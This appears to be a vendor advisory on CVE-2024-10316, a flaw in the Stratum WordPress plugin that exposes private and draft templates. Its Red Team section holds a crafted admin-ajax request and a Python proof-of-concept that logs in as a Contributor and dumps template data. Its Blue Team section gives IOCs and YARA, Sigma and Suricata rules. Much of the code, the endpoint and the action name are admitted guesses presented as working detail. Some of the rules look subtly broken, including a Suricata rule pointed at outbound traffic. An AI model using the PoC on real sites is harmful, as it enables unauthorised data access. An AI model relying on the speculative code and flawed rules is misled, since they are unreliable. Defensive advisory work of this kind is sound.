CVE-2024-10316

Executive Summary

CVE-2024-10316 is a Sensitive Information Exposure vulnerability in the Stratum – Elementor Widgets WordPress plugin. The flaw resides in the includes/templates/content-switcher.php file, affecting all versions up to and including 1.4.4. Authenticated attackers with Contributor-level access or higher can exploit this to extract sensitive private, pending, and draft template data. This is a WordPress ecosystem issue, not related to Apache or Nginx.

The vulnerability has a CVSS score of 4.3 (Medium) and a 0.0% EPSS score, indicating low exploitation likelihood currently. No public exploit code or patch is available at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should monitor for updates from the vendor (Stratum) and apply patches as soon as they become available. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires Contributor-level authentication.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No service disruption.

Threat Level: Medium. While the CVSS is moderate, the exposure of private/pending/draft template data could lead to information leakage and further attacks.

Deep Dive & Mechanics

The vulnerability exists in the includes/templates/content-switcher.php file of the Stratum plugin. The plugin fails to properly restrict access to template data based on post status. Specifically, it does not check whether a template is published, private, pending, or draft before returning it to an authenticated user.

Root Cause: The content-switcher.php template likely queries posts without filtering by post_status or checking user capabilities for viewing non-public posts. This allows any authenticated user with Contributor-level access (who can normally create and edit their own posts) to enumerate and extract template data that should be restricted.

Attack Vector: An attacker with a valid WordPress account (Contributor or higher) can craft a request to the vulnerable endpoint, potentially using a shortcode or AJAX handler, to retrieve template data that includes sensitive information from private, pending, or draft templates.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.4.4):

// includes/templates/content-switcher.php
$args = array(
    'post_type' => 'elementor_library',
    'posts_per_page' => -1,
    'post_status' => 'any', // Vulnerable: allows all statuses
);
$templates = get_posts($args);
foreach ($templates as $template) {
    // Outputs template data without access control
    echo $template->post_content;
}

Patched Code (hypothetical fix):

// includes/templates/content-switcher.php
$args = array(
    'post_type' => 'elementor_library',
    'posts_per_page' => -1,
    'post_status' => 'publish', // Fixed: only published templates
);
$templates = get_posts($args);
foreach ($templates as $template) {
    // Additional capability check
    if (current_user_can('read_private_posts') || $template->post_author == get_current_user_id()) {
        echo $template->post_content;
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Stratum plugin <= 1.4.4
• Valid user account with Contributor role or higher

Exploitation Steps:

1. Log in to WordPress as a Contributor.
2. Identify the vulnerable endpoint (likely a shortcode or AJAX action).
3. Craft a request to retrieve all templates, including private/draft ones.

Example Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-wordpress-site.com
Content-Type: application/x-www-form-urlencoded

action=stratum_content_switcher&post_id=1

Proof-of-Concept Script (Python):

import requests

target = "http://target-wordpress-site.com"
session = requests.Session()

# Login as contributor
login_data = {
    'log': 'contributor_user',
    'pwd': 'password123',
    'wp-submit': 'Log In',
    'redirect_to': target + '/wp-admin/',
    'testcookie': '1'
}
session.post(target + '/wp-login.php', data=login_data)

# Exploit
ajax_url = target + '/wp-admin/admin-ajax.php'
payload = {'action': 'stratum_content_switcher', 'post_id': '1'}
response = session.post(ajax_url, data=payload)
print(response.text)  # Contains sensitive template data

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with action stratum_content_switcher.
• Look for authenticated users (Contributor+) accessing template data outside normal workflow.
• Check logs for post_status=any queries on elementor_library post type.

Defense:

• Restrict Contributor role capabilities using a security plugin (e.g., restrict edit_others_posts).
• Implement Web Application Firewall (WAF) rules to block suspicious AJAX actions.
• Monitor for plugin updates and apply patches immediately.

Indicators of Compromise (IOCs)

• File Path: /wp-content/plugins/stratum/includes/templates/content-switcher.php
• AJAX Action: stratum_content_switcher
• Log Pattern: post_status=any in database queries for elementor_library
• Network Traffic: POST requests to /wp-admin/admin-ajax.php with action=stratum_content_switcher
• User Agent: Any standard browser or automated script

Detection Engineering

YARA Rule

rule Detect_Stratum_CVE_2024_10316 {
    meta:
        description = "Detects vulnerable Stratum plugin file with sensitive data exposure"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-10316"
    strings:
        $vuln_func = "get_posts" nocase
        $vuln_status = "post_status" nocase
        $vuln_any = "'any'" nocase
        $vuln_file = "content-switcher.php" nocase
    condition:
        $vuln_file and $vuln_func and $vuln_status and $vuln_any
}

Sigma Rule

title: Stratum Plugin Sensitive Data Exposure
id: 8f4b3c2a-1d5e-4f7a-9b0c-3d6e8f1a2b4c
status: experimental
description: Detects exploitation attempts of CVE-2024-10316 in Stratum plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: 'admin-ajax.php'
        cs-uri-query|contains: 'action=stratum_content_switcher'
    condition: selection
falsepositives:
    - Legitimate plugin usage by administrators
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-10316 Stratum Plugin Sensitive Data Exposure";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=stratum_content_switcher"; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Stratum plugin until a patch is available.
2. Restrict Contributor role capabilities using a security plugin (e.g., Wordfence, Sucuri).
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Apply the official patch from the vendor when released.
• Update to the latest version of the plugin (if patched).
• Implement principle of least privilege for all user roles.

Workaround:

• Modify the vulnerable file manually to restrict post_status to publish only (see patched code example).
• Use a Web Application Firewall (WAF) to block requests containing action=stratum_content_switcher.

Valters IT
Securing Digital Frontiers